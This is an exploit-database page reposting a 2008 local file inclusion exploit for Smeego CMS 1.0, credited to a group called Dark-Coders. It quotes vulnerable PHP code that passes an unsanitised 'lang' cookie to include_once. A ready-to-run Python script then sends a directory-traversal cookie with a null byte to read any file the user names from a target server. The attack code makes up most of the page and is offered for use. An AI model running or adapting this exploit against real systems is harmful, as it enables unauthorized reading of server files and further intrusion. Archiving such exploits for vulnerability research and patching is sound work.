Smeego 1.0 (Cookie lang) Local File Inclusion Exploit

🗓️ 18 May 2008 00:00:00Reported by RootType

Smeego 1.0 (Cookie language) Local File Inclusion Exploit by 0in from Dark-Coders Programming & Security Group. Smeego CMS is a PHP-based Content Management System designed for easy installation and use. It has mature code, modules, and themes for dynamic, database-driven websites


                                                #&nbsp;Smeego&nbsp;CMS&nbsp;Local&nbsp;File&nbsp;Include&nbsp;Exploit
#&nbsp;by
#&nbsp;0in&nbsp;from&nbsp;Dark-Coders&nbsp;Programming&nbsp;&amp;&nbsp;Security&nbsp;Group
#&nbsp;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&nbsp;http://dark-coders.4rh.eu&nbsp;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
#--------------------------------------------------------
#&nbsp;Contact:&nbsp;0in(dot)email[at]gmail(dot)com
#--------------------------------------------------------
#&nbsp;Greetings&nbsp;to:&nbsp;Die_Angel,suN8Hclf,m4r1usz,djlinux,doctor
#--------------------------------------------------------
#&nbsp;Description:
#&nbsp;Smeego&nbsp;is&nbsp;a&nbsp;Content&nbsp;Management&nbsp;System&nbsp;or&nbsp;Portal
#&nbsp;System&nbsp;written&nbsp;in&nbsp;PHP&nbsp;and&nbsp;designed&nbsp;to&nbsp;be
#&nbsp;easy&nbsp;to&nbsp;install&nbsp;and&nbsp;use.&nbsp;Smeego&nbsp;has&nbsp;a&nbsp;mature&nbsp;code
#&nbsp;and&nbsp;comes&nbsp;with&nbsp;cool&nbsp;modules&nbsp;and&nbsp;themes
#&nbsp;for&nbsp;you&nbsp;to&nbsp;start&nbsp;your&nbsp;own&nbsp;dynamic&nbsp;and&nbsp;database
#&nbsp;driven&nbsp;website.&nbsp;Bla&nbsp;bla&nbsp;Bla&nbsp;[...]
#&nbsp;-------------------------------------------------------
#&nbsp;Script&nbsp;home:&nbsp;http://smeego.com
#&nbsp;-------------------------------------------------------
#&nbsp;Vuln:
#&nbsp;&gt;&gt;&gt;&gt;&gt;&gt;&nbsp;File:&nbsp;mainfile.php&nbsp;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
#if&nbsp;($display_errors&nbsp;==&nbsp;1)&nbsp;{&nbsp;//&nbsp;We&nbsp;don't&nbsp;se&nbsp;any&nbsp;errors&nbsp;;(
#&nbsp;@ini_set('display_errors',&nbsp;1);
#}&nbsp;else&nbsp;{
#&nbsp;@ini_set('display_errors',&nbsp;0);
#}
#
#if&nbsp;(isset($newlang))&nbsp;{
#
#&nbsp;if&nbsp;(file_exists(&quot;language/lang-&quot;.$newlang.&quot;.php&quot;))&nbsp;{
#&nbsp;setcookie(&quot;lang&quot;,$newlang,time()+31536000);
#&nbsp;include_once(&quot;language/lang-&quot;.$newlang.&quot;.php&quot;);
#&nbsp;$currentlang&nbsp;=&nbsp;$newlang;
#&nbsp;}&nbsp;else&nbsp;{
#&nbsp;setcookie(&quot;lang&quot;,$language,time()+31536000);
#&nbsp;include_once(&quot;language/lang-&quot;.$language.&quot;.php&quot;);
#&nbsp;$currentlang&nbsp;=&nbsp;$language;
#&nbsp;}
#}&nbsp;elseif&nbsp;(isset($lang))&nbsp;{
#
#&nbsp;include_once(&quot;language/lang-&quot;.$lang.&quot;.php&quot;);
#&nbsp;$currentlang&nbsp;=&nbsp;$lang;
#}&nbsp;else&nbsp;{
#&nbsp;setcookie(&quot;lang&quot;,$language,time()+31536000);
#&nbsp;include_once(&quot;language/lang-&quot;.$language.&quot;.php&quot;);
#&nbsp;$currentlang&nbsp;=&nbsp;$language;
#}
#&nbsp;&gt;&gt;&gt;&gt;&gt;&gt;&nbsp;End&nbsp;&lt;&lt;&lt;&lt;&lt;&lt;&lt;
#&nbsp;So..&nbsp;We&nbsp;can&nbsp;send&nbsp;Cookie:&nbsp;lang=[lfi]

#&nbsp;-------------------------------------------------------

#&nbsp;Simple&nbsp;Python&nbsp;Exploit:

#!/usr/bin/python
import&nbsp;sys
import&nbsp;time
import&nbsp;httplib
print&nbsp;'====================================================='
print&nbsp;'&nbsp;Smeego&nbsp;CMS&nbsp;Local&nbsp;File&nbsp;INclude&nbsp;Exploit&nbsp;'
print&nbsp;'&nbsp;by&nbsp;'
print&nbsp;'&nbsp;0in&nbsp;from&nbsp;Dark-Coders&nbsp;Programming&nbsp;&amp;&nbsp;Security&nbsp;Group!&nbsp;'
print&nbsp;'&nbsp;http://dark-coders.4rh.eu&nbsp;'
print&nbsp;'====================================================='
try:
target=sys.argv[1]
path=sys.argv[2]
file=sys.argv[3]
except&nbsp;Exception:
print&nbsp;'\nUse:&nbsp;%s&nbsp;[target]&nbsp;[path]&nbsp;[file]'&nbsp;%&nbsp;sys.argv[0]
quit()
i=0
lfi='../'
target+=&quot;:80&quot;
special=&quot;%00&quot;
file+=special
for&nbsp;i&nbsp;in&nbsp;range(9):
lfi+=&quot;../&quot;
print&nbsp;'---------------------------------------------------------'
mysock=httplib.HTTPConnection(target)
mysock=httplib.HTTPConnection(target)
mysock.putrequest(&quot;GET&quot;,path)
mysock.putheader(&quot;User-Agent&quot;,&quot;Billy&nbsp;Explorer&nbsp;v666&quot;)
mysock.putheader('Accept',&nbsp;'text/html')
mysock.putheader('Accept-Language','&nbsp;en-us,en;q=0.5')
mysock.putheader('Cookie','lang=%s%s'&nbsp;%&nbsp;(lfi,file))
mysock.endheaders()
reply=mysock.getresponse()
print&nbsp;reply.read()
time.sleep(2)
mysock.close()
print&nbsp;'----------------------------------------------------------'

#EOFF

18 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1